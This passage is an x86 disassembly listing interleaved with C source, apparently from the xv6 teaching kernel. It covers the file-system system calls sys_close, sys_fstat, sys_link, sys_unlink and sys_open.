80104ed7: 89 f6 mov %esi,%esi
80104ed9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
return -1;
80104ee0: b8 ff ff ff ff mov $0xffffffff,%eax
return filewrite(f, p, n);
}
80104ee5: c9 leave
80104ee6: c3 ret
80104ee7: 89 f6 mov %esi,%esi
80104ee9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104ef0 <sys_close>:
int
sys_close(void)
{
80104ef0: 55 push %ebp
80104ef1: 89 e5 mov %esp,%ebp
80104ef3: 83 ec 18 sub $0x18,%esp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
80104ef6: 8d 55 f4 lea -0xc(%ebp),%edx
80104ef9: 8d 45 f0 lea -0x10(%ebp),%eax
80104efc: e8 4f fe ff ff call 80104d50 <argfd.constprop.0>
80104f01: 85 c0 test %eax,%eax
80104f03: 78 2b js 80104f30 <sys_close+0x40>
return -1;
proc->ofile[fd] = 0;
80104f05: 8b 55 f0 mov -0x10(%ebp),%edx
80104f08: 65 a1 04 00 00 00 mov %gs:0x4,%eax
fileclose(f);
80104f0e: 83 ec 0c sub $0xc,%esp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
return -1;
proc->ofile[fd] = 0;
80104f11: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4)
80104f18: 00
fileclose(f);
80104f19: ff 75 f4 pushl -0xc(%ebp)
80104f1c: e8 ef be ff ff call 80100e10 <fileclose>
return 0;
80104f21: 83 c4 10 add $0x10,%esp
80104f24: 31 c0 xor %eax,%eax
}
80104f26: c9 leave
80104f27: c3 ret
80104f28: 90 nop
80104f29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
{
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
return -1;
80104f30: b8 ff ff ff ff mov $0xffffffff,%eax
proc->ofile[fd] = 0;
fileclose(f);
return 0;
}
80104f35: c9 leave
80104f36: c3 ret
80104f37: 89 f6 mov %esi,%esi
80104f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104f40 <sys_fstat>:
int
sys_fstat(void)
{
80104f40: 55 push %ebp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104f41: 31 c0 xor %eax,%eax
return 0;
}
int
sys_fstat(void)
{
80104f43: 89 e5 mov %esp,%ebp
80104f45: 83 ec 18 sub $0x18,%esp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104f48: 8d 55 f0 lea -0x10(%ebp),%edx
80104f4b: e8 00 fe ff ff call 80104d50 <argfd.constprop.0>
80104f50: 85 c0 test %eax,%eax
80104f52: 78 2c js 80104f80 <sys_fstat+0x40>
80104f54: 8d 45 f4 lea -0xc(%ebp),%eax
80104f57: 83 ec 04 sub $0x4,%esp
80104f5a: 6a 14 push $0x14
80104f5c: 50 push %eax
80104f5d: 6a 01 push $0x1
80104f5f: e8 0c fb ff ff call 80104a70 <argptr>
80104f64: 83 c4 10 add $0x10,%esp
80104f67: 85 c0 test %eax,%eax
80104f69: 78 15 js 80104f80 <sys_fstat+0x40>
return -1;
return filestat(f, st);
80104f6b: 83 ec 08 sub $0x8,%esp
80104f6e: ff 75 f4 pushl -0xc(%ebp)
80104f71: ff 75 f0 pushl -0x10(%ebp)
80104f74: e8 67 bf ff ff call 80100ee0 <filestat>
80104f79: 83 c4 10 add $0x10,%esp
}
80104f7c: c9 leave
80104f7d: c3 ret
80104f7e: 66 90 xchg %ax,%ax
{
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
return -1;
80104f80: b8 ff ff ff ff mov $0xffffffff,%eax
return filestat(f, st);
}
80104f85: c9 leave
80104f86: c3 ret
80104f87: 89 f6 mov %esi,%esi
80104f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104f90 <sys_link>:
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
80104f90: 55 push %ebp
80104f91: 89 e5 mov %esp,%ebp
80104f93: 57 push %edi
80104f94: 56 push %esi
80104f95: 53 push %ebx
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104f96: 8d 45 d4 lea -0x2c(%ebp),%eax
}
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
80104f99: 83 ec 34 sub $0x34,%esp
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104f9c: 50 push %eax
80104f9d: 6a 00 push $0x0
80104f9f: e8 1c fb ff ff call 80104ac0 <argstr>
80104fa4: 83 c4 10 add $0x10,%esp
80104fa7: 85 c0 test %eax,%eax
80104fa9: 0f 88 fb 00 00 00 js 801050aa <sys_link+0x11a>
80104faf: 8d 45 d0 lea -0x30(%ebp),%eax
80104fb2: 83 ec 08 sub $0x8,%esp
80104fb5: 50 push %eax
80104fb6: 6a 01 push $0x1
80104fb8: e8 03 fb ff ff call 80104ac0 <argstr>
80104fbd: 83 c4 10 add $0x10,%esp
80104fc0: 85 c0 test %eax,%eax
80104fc2: 0f 88 e2 00 00 00 js 801050aa <sys_link+0x11a>
return -1;
begin_op();
80104fc8: e8 e3 db ff ff call 80102bb0 <begin_op>
if((ip = namei(old)) == 0){
80104fcd: 83 ec 0c sub $0xc,%esp
80104fd0: ff 75 d4 pushl -0x2c(%ebp)
80104fd3: e8 a8 ce ff ff call 80101e80 <namei>
80104fd8: 83 c4 10 add $0x10,%esp
80104fdb: 85 c0 test %eax,%eax
80104fdd: 89 c3 mov %eax,%ebx
80104fdf: 0f 84 f3 00 00 00 je 801050d8 <sys_link+0x148>
end_op();
return -1;
}
ilock(ip);
80104fe5: 83 ec 0c sub $0xc,%esp
80104fe8: 50 push %eax
80104fe9: e8 62 c6 ff ff call 80101650 <ilock>
if(ip->type == T_DIR){
80104fee: 83 c4 10 add $0x10,%esp
80104ff1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104ff6: 0f 84 c4 00 00 00 je 801050c0 <sys_link+0x130>
iunlockput(ip);
end_op();
return -1;
}
ip->nlink++;
80104ffc: 66 83 43 56 01 addw $0x1,0x56(%ebx)
iupdate(ip);
80105001: 83 ec 0c sub $0xc,%esp
iunlock(ip);
if((dp = nameiparent(new, name)) == 0)
80105004: 8d 7d da lea -0x26(%ebp),%edi
end_op();
return -1;
}
ip->nlink++;
iupdate(ip);
80105007: 53 push %ebx
80105008: e8 93 c5 ff ff call 801015a0 <iupdate>
iunlock(ip);
8010500d: 89 1c 24 mov %ebx,(%esp)
80105010: e8 1b c7 ff ff call 80101730 <iunlock>
if((dp = nameiparent(new, name)) == 0)
80105015: 58 pop %eax
80105016: 5a pop %edx
80105017: 57 push %edi
80105018: ff 75 d0 pushl -0x30(%ebp)
8010501b: e8 80 ce ff ff call 80101ea0 <nameiparent>
80105020: 83 c4 10 add $0x10,%esp
80105023: 85 c0 test %eax,%eax
80105025: 89 c6 mov %eax,%esi
80105027: 74 5b je 80105084 <sys_link+0xf4>
goto bad;
ilock(dp);
80105029: 83 ec 0c sub $0xc,%esp
8010502c: 50 push %eax
8010502d: e8 1e c6 ff ff call 80101650 <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
80105032: 83 c4 10 add $0x10,%esp
80105035: 8b 03 mov (%ebx),%eax
80105037: 39 06 cmp %eax,(%esi)
80105039: 75 3d jne 80105078 <sys_link+0xe8>
8010503b: 83 ec 04 sub $0x4,%esp
8010503e: ff 73 04 pushl 0x4(%ebx)
80105041: 57 push %edi
80105042: 56 push %esi
80105043: e8 78 cd ff ff call 80101dc0 <dirlink>
80105048: 83 c4 10 add $0x10,%esp
8010504b: 85 c0 test %eax,%eax
8010504d: 78 29 js 80105078 <sys_link+0xe8>
iunlockput(dp);
goto bad;
}
iunlockput(dp);
8010504f: 83 ec 0c sub $0xc,%esp
80105052: 56 push %esi
80105053: e8 68 c8 ff ff call 801018c0 <iunlockput>
iput(ip);
80105058: 89 1c 24 mov %ebx,(%esp)
8010505b: e8 20 c7 ff ff call 80101780 <iput>
end_op();
80105060: e8 bb db ff ff call 80102c20 <end_op>
return 0;
80105065: 83 c4 10 add $0x10,%esp
80105068: 31 c0 xor %eax,%eax
ip->nlink--;
iupdate(ip);
iunlockput(ip);
end_op();
return -1;
}
8010506a: 8d 65 f4 lea -0xc(%ebp),%esp
8010506d: 5b pop %ebx
8010506e: 5e pop %esi
8010506f: 5f pop %edi
80105070: 5d pop %ebp
80105071: c3 ret
80105072: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if((dp = nameiparent(new, name)) == 0)
goto bad;
ilock(dp);
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
iunlockput(dp);
80105078: 83 ec 0c sub $0xc,%esp
8010507b: 56 push %esi
8010507c: e8 3f c8 ff ff call 801018c0 <iunlockput>
goto bad;
80105081: 83 c4 10 add $0x10,%esp
end_op();
return 0;
bad:
ilock(ip);
80105084: 83 ec 0c sub $0xc,%esp
80105087: 53 push %ebx
80105088: e8 c3 c5 ff ff call 80101650 <ilock>
ip->nlink--;
8010508d: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80105092: 89 1c 24 mov %ebx,(%esp)
80105095: e8 06 c5 ff ff call 801015a0 <iupdate>
iunlockput(ip);
8010509a: 89 1c 24 mov %ebx,(%esp)
8010509d: e8 1e c8 ff ff call 801018c0 <iunlockput>
end_op();
801050a2: e8 79 db ff ff call 80102c20 <end_op>
return -1;
801050a7: 83 c4 10 add $0x10,%esp
}
801050aa: 8d 65 f4 lea -0xc(%ebp),%esp
ilock(ip);
ip->nlink--;
iupdate(ip);
iunlockput(ip);
end_op();
return -1;
801050ad: b8 ff ff ff ff mov $0xffffffff,%eax
}
801050b2: 5b pop %ebx
801050b3: 5e pop %esi
801050b4: 5f pop %edi
801050b5: 5d pop %ebp
801050b6: c3 ret
801050b7: 89 f6 mov %esi,%esi
801050b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return -1;
}
ilock(ip);
if(ip->type == T_DIR){
iunlockput(ip);
801050c0: 83 ec 0c sub $0xc,%esp
801050c3: 53 push %ebx
801050c4: e8 f7 c7 ff ff call 801018c0 <iunlockput>
end_op();
801050c9: e8 52 db ff ff call 80102c20 <end_op>
return -1;
801050ce: 83 c4 10 add $0x10,%esp
801050d1: b8 ff ff ff ff mov $0xffffffff,%eax
801050d6: eb 92 jmp 8010506a <sys_link+0xda>
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
return -1;
begin_op();
if((ip = namei(old)) == 0){
end_op();
801050d8: e8 43 db ff ff call 80102c20 <end_op>
return -1;
801050dd: b8 ff ff ff ff mov $0xffffffff,%eax
801050e2: eb 86 jmp 8010506a <sys_link+0xda>
801050e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801050ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801050f0 <sys_unlink>:
}
//PAGEBREAK!
int
sys_unlink(void)
{
801050f0: 55 push %ebp
801050f1: 89 e5 mov %esp,%ebp
801050f3: 57 push %edi
801050f4: 56 push %esi
801050f5: 53 push %ebx
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
801050f6: 8d 45 c0 lea -0x40(%ebp),%eax
}
//PAGEBREAK!
int
sys_unlink(void)
{
801050f9: 83 ec 54 sub $0x54,%esp
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
801050fc: 50 push %eax
801050fd: 6a 00 push $0x0
801050ff: e8 bc f9 ff ff call 80104ac0 <argstr>
80105104: 83 c4 10 add $0x10,%esp
80105107: 85 c0 test %eax,%eax
80105109: 0f 88 82 01 00 00 js 80105291 <sys_unlink+0x1a1>
return -1;
begin_op();
if((dp = nameiparent(path, name)) == 0){
8010510f: 8d 5d ca lea -0x36(%ebp),%ebx
uint off;
if(argstr(0, &path) < 0)
return -1;
begin_op();
80105112: e8 99 da ff ff call 80102bb0 <begin_op>
if((dp = nameiparent(path, name)) == 0){
80105117: 83 ec 08 sub $0x8,%esp
8010511a: 53 push %ebx
8010511b: ff 75 c0 pushl -0x40(%ebp)
8010511e: e8 7d cd ff ff call 80101ea0 <nameiparent>
80105123: 83 c4 10 add $0x10,%esp
80105126: 85 c0 test %eax,%eax
80105128: 89 45 b4 mov %eax,-0x4c(%ebp)
8010512b: 0f 84 6a 01 00 00 je 8010529b <sys_unlink+0x1ab>
end_op();
return -1;
}
ilock(dp);
80105131: 8b 75 b4 mov -0x4c(%ebp),%esi
80105134: 83 ec 0c sub $0xc,%esp
80105137: 56 push %esi
80105138: e8 13 c5 ff ff call 80101650 <ilock>
// Cannot unlink "." or "..".
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
8010513d: 58 pop %eax
8010513e: 5a pop %edx
8010513f: 68 c4 7a 10 80 push $0x80107ac4
80105144: 53 push %ebx
80105145: e8 f6 c9 ff ff call 80101b40 <namecmp>
8010514a: 83 c4 10 add $0x10,%esp
8010514d: 85 c0 test %eax,%eax
8010514f: 0f 84 fc 00 00 00 je 80105251 <sys_unlink+0x161>
80105155: 83 ec 08 sub $0x8,%esp
80105158: 68 c3 7a 10 80 push $0x80107ac3
8010515d: 53 push %ebx
8010515e: e8 dd c9 ff ff call 80101b40 <namecmp>
80105163: 83 c4 10 add $0x10,%esp
80105166: 85 c0 test %eax,%eax
80105168: 0f 84 e3 00 00 00 je 80105251 <sys_unlink+0x161>
goto bad;
if((ip = dirlookup(dp, name, &off)) == 0)
8010516e: 8d 45 c4 lea -0x3c(%ebp),%eax
80105171: 83 ec 04 sub $0x4,%esp
80105174: 50 push %eax
80105175: 53 push %ebx
80105176: 56 push %esi
80105177: e8 e4 c9 ff ff call 80101b60 <dirlookup>
8010517c: 83 c4 10 add $0x10,%esp
8010517f: 85 c0 test %eax,%eax
80105181: 89 c3 mov %eax,%ebx
80105183: 0f 84 c8 00 00 00 je 80105251 <sys_unlink+0x161>
goto bad;
ilock(ip);
80105189: 83 ec 0c sub $0xc,%esp
8010518c: 50 push %eax
8010518d: e8 be c4 ff ff call 80101650 <ilock>
if(ip->nlink < 1)
80105192: 83 c4 10 add $0x10,%esp
80105195: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
8010519a: 0f 8e 24 01 00 00 jle 801052c4 <sys_unlink+0x1d4>
panic("unlink: nlink < 1");
if(ip->type == T_DIR && !isdirempty(ip)){
801051a0: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
801051a5: 8d 75 d8 lea -0x28(%ebp),%esi
801051a8: 74 66 je 80105210 <sys_unlink+0x120>
iunlockput(ip);
goto bad;
}
memset(&de, 0, sizeof(de));
801051aa: 83 ec 04 sub $0x4,%esp
801051ad: 6a 10 push $0x10
801051af: 6a 00 push $0x0
801051b1: 56 push %esi
801051b2: e8 89 f5 ff ff call 80104740 <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
801051b7: 6a 10 push $0x10
801051b9: ff 75 c4 pushl -0x3c(%ebp)
801051bc: 56 push %esi
801051bd: ff 75 b4 pushl -0x4c(%ebp)
801051c0: e8 4b c8 ff ff call 80101a10 <writei>
801051c5: 83 c4 20 add $0x20,%esp
801051c8: 83 f8 10 cmp $0x10,%eax
801051cb: 0f 85 e6 00 00 00 jne 801052b7 <sys_unlink+0x1c7>
panic("unlink: writei");
if(ip->type == T_DIR){
801051d1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
801051d6: 0f 84 9c 00 00 00 je 80105278 <sys_unlink+0x188>
dp->nlink--;
iupdate(dp);
}
iunlockput(dp);
801051dc: 83 ec 0c sub $0xc,%esp
801051df: ff 75 b4 pushl -0x4c(%ebp)
801051e2: e8 d9 c6 ff ff call 801018c0 <iunlockput>
ip->nlink--;
801051e7: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
801051ec: 89 1c 24 mov %ebx,(%esp)
801051ef: e8 ac c3 ff ff call 801015a0 <iupdate>
iunlockput(ip);
801051f4: 89 1c 24 mov %ebx,(%esp)
801051f7: e8 c4 c6 ff ff call 801018c0 <iunlockput>
end_op();
801051fc: e8 1f da ff ff call 80102c20 <end_op>
return 0;
80105201: 83 c4 10 add $0x10,%esp
80105204: 31 c0 xor %eax,%eax
bad:
iunlockput(dp);
end_op();
return -1;
}
80105206: 8d 65 f4 lea -0xc(%ebp),%esp
80105209: 5b pop %ebx
8010520a: 5e pop %esi
8010520b: 5f pop %edi
8010520c: 5d pop %ebp
8010520d: c3 ret
8010520e: 66 90 xchg %ax,%ax
isdirempty(struct inode *dp)
{
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105210: 83 7b 58 20 cmpl $0x20,0x58(%ebx)
80105214: 76 94 jbe 801051aa <sys_unlink+0xba>
80105216: bf 20 00 00 00 mov $0x20,%edi
8010521b: eb 0f jmp 8010522c <sys_unlink+0x13c>
8010521d: 8d 76 00 lea 0x0(%esi),%esi
80105220: 83 c7 10 add $0x10,%edi
80105223: 3b 7b 58 cmp 0x58(%ebx),%edi
80105226: 0f 83 7e ff ff ff jae 801051aa <sys_unlink+0xba>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
8010522c: 6a 10 push $0x10
8010522e: 57 push %edi
8010522f: 56 push %esi
80105230: 53 push %ebx
80105231: e8 da c6 ff ff call 80101910 <readi>
80105236: 83 c4 10 add $0x10,%esp
80105239: 83 f8 10 cmp $0x10,%eax
8010523c: 75 6c jne 801052aa <sys_unlink+0x1ba>
panic("isdirempty: readi");
if(de.inum != 0)
8010523e: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80105243: 74 db je 80105220 <sys_unlink+0x130>
ilock(ip);
if(ip->nlink < 1)
panic("unlink: nlink < 1");
if(ip->type == T_DIR && !isdirempty(ip)){
iunlockput(ip);
80105245: 83 ec 0c sub $0xc,%esp
80105248: 53 push %ebx
80105249: e8 72 c6 ff ff call 801018c0 <iunlockput>
goto bad;
8010524e: 83 c4 10 add $0x10,%esp
end_op();
return 0;
bad:
iunlockput(dp);
80105251: 83 ec 0c sub $0xc,%esp
80105254: ff 75 b4 pushl -0x4c(%ebp)
80105257: e8 64 c6 ff ff call 801018c0 <iunlockput>
end_op();
8010525c: e8 bf d9 ff ff call 80102c20 <end_op>
return -1;
80105261: 83 c4 10 add $0x10,%esp
}
80105264: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
bad:
iunlockput(dp);
end_op();
return -1;
80105267: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010526c: 5b pop %ebx
8010526d: 5e pop %esi
8010526e: 5f pop %edi
8010526f: 5d pop %ebp
80105270: c3 ret
80105271: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
memset(&de, 0, sizeof(de));
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("unlink: writei");
if(ip->type == T_DIR){
dp->nlink--;
80105278: 8b 45 b4 mov -0x4c(%ebp),%eax
iupdate(dp);
8010527b: 83 ec 0c sub $0xc,%esp
memset(&de, 0, sizeof(de));
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("unlink: writei");
if(ip->type == T_DIR){
dp->nlink--;
8010527e: 66 83 68 56 01 subw $0x1,0x56(%eax)
iupdate(dp);
80105283: 50 push %eax
80105284: e8 17 c3 ff ff call 801015a0 <iupdate>
80105289: 83 c4 10 add $0x10,%esp
8010528c: e9 4b ff ff ff jmp 801051dc <sys_unlink+0xec>
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
return -1;
80105291: b8 ff ff ff ff mov $0xffffffff,%eax
80105296: e9 6b ff ff ff jmp 80105206 <sys_unlink+0x116>
begin_op();
if((dp = nameiparent(path, name)) == 0){
end_op();
8010529b: e8 80 d9 ff ff call 80102c20 <end_op>
return -1;
801052a0: b8 ff ff ff ff mov $0xffffffff,%eax
801052a5: e9 5c ff ff ff jmp 80105206 <sys_unlink+0x116>
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("isdirempty: readi");
801052aa: 83 ec 0c sub $0xc,%esp
801052ad: 68 e8 7a 10 80 push $0x80107ae8
801052b2: e8 b9 b0 ff ff call 80100370 <panic>
goto bad;
}
memset(&de, 0, sizeof(de));
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("unlink: writei");
801052b7: 83 ec 0c sub $0xc,%esp
801052ba: 68 fa 7a 10 80 push $0x80107afa
801052bf: e8 ac b0 ff ff call 80100370 <panic>
if((ip = dirlookup(dp, name, &off)) == 0)
goto bad;
ilock(ip);
if(ip->nlink < 1)
panic("unlink: nlink < 1");
801052c4: 83 ec 0c sub $0xc,%esp
801052c7: 68 d6 7a 10 80 push $0x80107ad6
801052cc: e8 9f b0 ff ff call 80100370 <panic>
801052d1: eb 0d jmp 801052e0 <sys_open>
801052d3: 90 nop
801052d4: 90 nop
801052d5: 90 nop
801052d6: 90 nop
801052d7: 90 nop
801052d8: 90 nop
801052d9: 90 nop
801052da: 90 nop
801052db: 90 nop
801052dc: 90 nop
801052dd: 90 nop
801052de: 90 nop
801052df: 90 nop
801052e0 <sys_open>:
return ip;
}
int
sys_open(void)
{
801052e0: 55 push %ebp
801052e1: 89 e5 mov %esp,%ebp
801052e3: 57 push %edi
801052e4: 56 push %esi
801052e5: 53 push %ebx
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
801052e6: 8d 45 e0 lea -0x20(%ebp),%eax
return ip;
}
int
sys_open(void)
{
801052e9: 83 ec 24 sub $0x24,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
801052ec: 50 push %eax
801052ed: 6a 00 push $0x0
801052ef: e8 cc f7 ff ff call 80104ac0 <argstr>
801052f4: 83 c4 10 add $0x10,%esp
801052f7: 85 c0 test %eax,%eax
801052f9: 0f 88 9e 00 00 00 js 8010539d <sys_open+0xbd>
801052ff: 8d 45 e4 lea -0x1c(%ebp),%eax
80105302: 83 ec 08 sub $0x8,%esp
80105305: 50 push %eax
80105306: 6a 01 push $0x1
80105308: e8 23 f7 ff ff call 80104a30 <argint>
8010530d: 83 c4 10 add $0x10,%esp
80105310: 85 c0 test %eax,%eax
80105312: 0f 88 85 00 00 00 js 8010539d <sys_open+0xbd>
return -1;
begin_op();
80105318: e8 93 d8 ff ff call 80102bb0 <begin_op>
if(omode & O_CREATE){
8010531d: f6 45 e5 02 testb $0x2,-0x1b(%ebp)
80105321: 0f 85 89 00 00 00 jne 801053b0 <sys_open+0xd0>
if(ip == 0){
end_op();
return -1;
}
} else {
if((ip = namei(path)) == 0){
80105327: 83 ec 0c sub $0xc,%esp
8010532a: ff 75 e0 pushl -0x20(%ebp)
8010532d: e8 4e cb ff ff call 80101e80 <namei>
80105332: 83 c4 10 add $0x10,%esp
80105335: 85 c0 test %eax,%eax
80105337: 89 c7 mov %eax,%edi
80105339: 0f 84 8e 00 00 00 je 801053cd <sys_open+0xed>
end_op();
return -1;
}
ilock(ip);
8010533f: 83 ec 0c sub $0xc,%esp
80105342: 50 push %eax
80105343: e8 08 c3 ff ff call 80101650 <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80105348: 83 c4 10 add $0x10,%esp
8010534b: 66 83 7f 50 01 cmpw $0x1,0x50(%edi)
80105350: 0f 84 d2 00 00 00 je 80105428 <sys_open+0x148>
end_op();
return -1;
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80105356: e8 f5 b9 ff ff call 80100d50 <filealloc>
8010535b: 85 c0 test %eax,%eax
8010535d: 89 c6 mov %eax,%esi
8010535f: 74 2b je 8010538c <sys_open+0xac>
80105361: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80105368: 31 db xor %ebx,%ebx
8010536a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
80105370: 8b 44 9a 28 mov 0x28(%edx,%ebx,4),%eax
80105374: 85 c0 test %eax,%eax
80105376: 74 68 je 801053e0 <sys_open+0x100>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80105378: 83 c3 01 add $0x1,%ebx
8010537b: 83 fb 10 cmp $0x10,%ebx
8010537e: 75 f0 jne 80105370 <sys_open+0x90>
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
if(f)
fileclose(f);
80105380: 83 ec 0c sub $0xc,%esp
80105383: 56 push %esi
80105384: e8 87 ba ff ff call 80100e10 <fileclose>
80105389: 83 c4 10 add $0x10,%esp
iunlockput(ip);
8010538c: 83 ec 0c sub $0xc,%esp
8010538f: 57 push %edi
80105390: e8 2b c5 ff ff call 801018c0 <iunlockput>
end_op();
80105395: e8 86 d8 ff ff call 80102c20 <end_op>
return -1;
8010539a: 83 c4 10 add $0x10,%esp
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
return fd;
}
8010539d: 8d 65 f4 lea -0xc(%ebp),%esp
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
if(f)
fileclose(f);
iunlockput(ip);
end_op();
return -1;
801053a0: b8 ff ff ff ff mov $0xffffffff,%eax
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
return fd;
}
801053a5: 5b pop %ebx
801053a6: 5e pop %esi
801053a7: 5f pop %edi
801053a8: 5d pop %ebp
801053a9: c3 ret
801053aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
begin_op();
if(omode & O_CREATE){
ip = create(path, T_FILE, 0, 0);
801053b0: 83 ec 0c sub $0xc,%esp
801053b3: 8b 45 e0 mov -0x20(%ebp),%eax
801053b6: 31 c9 xor %ecx,%ecx
801053b8: 6a 00 push $0x0
801053ba: ba 02 00 00 00 mov $0x2,%edx
801053bf: e8 ec f7 ff ff call 80104bb0 <create>
if(ip == 0){
801053c4: 83 c4 10 add $0x10,%esp
801053c7: 85 c0 test %eax,%eax
return -1;
begin_op();
if(omode & O_CREATE){
ip = create(path, T_FILE, 0, 0);
801053c9: 89 c7 mov %eax,%edi
if(ip == 0){
801053cb: 75 89 jne 80105356 <sys_open+0x76>
end_op();
801053cd: e8 4e d8 ff ff call 80102c20 <end_op>
return -1;
801053d2: b8 ff ff ff ff mov $0xffffffff,%eax
801053d7: eb 43 jmp 8010541c <sys_open+0x13c>
801053d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
801053e0: 83 ec 0c sub $0xc,%esp
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
801053e3: 89 74 9a 28 mov %esi,0x28(%edx,%ebx,4)
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
801053e7: 57 push %edi
801053e8: e8 43 c3 ff ff call 80101730 <iunlock>
end_op();
801053ed: e8 2e d8 ff ff call 80102c20 <end_op>
f->type = FD_INODE;
801053f2: c7 06 02 00 00 00 movl $0x2,(%esi)
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
801053f8: 8b 55 e4 mov -0x1c(%ebp),%edx
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
801053fb: 83 c4 10 add $0x10,%esp
}
iunlock(ip);
end_op();
f->type = FD_INODE;
f->ip = ip;
801053fe: 89 7e 10 mov %edi,0x10(%esi)
f->off = 0;
80105401: c7 46 14 00 00 00 00 movl $0x0,0x14(%esi)
f->readable = !(omode & O_WRONLY);
80105408: 89 d0 mov %edx,%eax
8010540a: 83 e0 01 and $0x1,%eax
8010540d: 83 f0 01 xor $0x1,%eax
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80105410: 83 e2 03 and $0x3,%edx
end_op();
f->type = FD_INODE;
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
80105413: 88 46 08 mov %al,0x8(%esi)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80105416: 0f 95 46 09 setne 0x9(%esi)
return fd;
8010541a: 89 d8 mov %ebx,%eax
}
8010541c: 8d 65 f4 lea -0xc(%ebp),%esp
8010541f: 5b pop %ebx
80105420: 5e pop %esi
80105421: 5f pop %edi
80105422: 5d pop %ebp
80105423: c3 ret
80105424: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if((ip = namei(path)) == 0){
end_op();
return -1;
}
ilock(ip);
if(ip->type == T_DIR && omode != O_RDONLY){
80105428: 8b 55 e4 mov -0x1c(%ebp),%edx
8010542b: 85 d2 test %edx,%edx
8010542d: 0f 84 23 ff ff ff je 80105356 <sys_open+0x76>
80105433: e9 54 ff ff ff jmp 8010538c <sys_open+0xac>
80105438: 90 nop
80105439: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
